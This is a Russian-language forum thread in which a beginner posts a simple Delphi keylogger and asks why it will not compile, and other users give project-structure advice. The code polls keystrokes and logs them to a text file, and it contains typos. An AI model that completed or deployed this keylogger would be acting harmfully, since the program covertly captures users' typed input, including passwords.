Что не так с этим кейлоггером.

[kyle16]

Решил на примере изучить кейлоггер. Вот нашел пример, вставил его в Rad Studio, а он пишет такое "Expected IMPLEMENTATION but received Begin at line 20". Долго ломал голову, что ж ему не хватает. Но знаний по Делфи маловато пока, потому решил тут спросить, если вам не трудно, взгляните на код и подскажите чего тут не хватает?

Program KLogger;

Uses Windows;

const FlName='kbd_report.txt';

wait=50;

var wndh:Cardinal;

wndtxt:array[0..255]of char;

wndclass:array[0..255]of char;

cstr:string='';

num:integer;

function izex(path: pchar):boolean;{проверка наличия файла на диске}

begin Result:=true; if GetFileAttributes(path)=DWord(-1) then result:=false;

end;

function ontop(wH:Cardinal):boolean;{проверка - является ли окно самым верхним}

begin Result:=(GetForegroundWindow()=wH);

end;

procedure writer(value:string);{запись значений нажатых клавиш на диск}

var F:TextFile;

i:integer;

begin

AssignFile(F,FLName);

if izex(FLName) then Append(F)

else

Rewrite(F);

for i:=1 to lemgth(value) do

write(F,value[i]);

CloseFile(F);

end;

BEGIN While true do

begin

wndh:=GetForegroundWindow();

while ontop(wndh) do begin For num:=8 to 90 do

begin if GetAsyncKeyState(i)=-$7FFF then if GetKeyState(i)<>0 then

cstr:=cstr+chr(i);

end;

end;

if cstr<>'' then writer(cstr); Sleep(wait); cstr:='';

end;

END.

[northener]

Сообщение от kyle16

Решил на примере изучить кейлоггер. Вот нашел пример, вставил его в Rad Studio, а он пишет такое "Expected IMPLEMENTATION but received Begin at line 20". Долго ломал голову, что ж ему не хватает. Но знаний по Делфи маловато пока, потому решил тут спросить, если вам не трудно, взгляните на код и подскажите чего тут не хватает?

Не хватает именно базовых знаний. Это если в "двух словах".

[kyle16]

Ну а что с кодом не так? Можете подсказать?
Знаю в паскале новичок, пока только год его изучаю. А делфи только пару занятий прошел.

[Replicant]

Сообщение от kyle16

Ну а что с кодом не так? Можете подсказать?
Знаю в паскале новичок, пока только год его изучаю. А делфи только пару занятий прошел.

Вам компилятор четко сказал, не хватает раздела IMPLEMENTATION
Создайте голый проект Delphi и посмотри на его структуру.

[p51x]

Та ладно, видно же, что код написан в паскалевском стиле. Убивает юнит1 из проекта, открываете файл, где у вас program ... , и впихиваете это туда.

[kyle16]

так он не работает, от того что как паскаль, или в нем недочеты есть, и надо дописывать что-то?

[p51x]

Так оно ж работает, скомпилируйте и попробуйте

[kyle16]

так что вы изменили, что у вас он заработал? program на unit поменяли только?

[p51x]

Я ж вроде все написал...
1. В меню ищете, где показывается список юнитов - убиваете все юниты.
2. В меню кликаете что-то типа View | Project Source и вам откроется стартовый файл вашей программы с program и прочей лабудой.
3. Удаляете там не нужное и пишите свой код

[kyle16]

В этом коде нашлось несколько синтаксических ошибок, я их поправил, например
1. lemgth(value) поменял на length(value),
2. while ontop(wndh)=true do begin For num:=8 to 90 do, (а что тут такое wndh?)
не ошибка ли BEGIN While true do?

И на слово Interface Rad Studio ругается. Я его и убрал. Так теперь пишет Error in Module Unit1: Declaration of class TForm is missing or incorrect.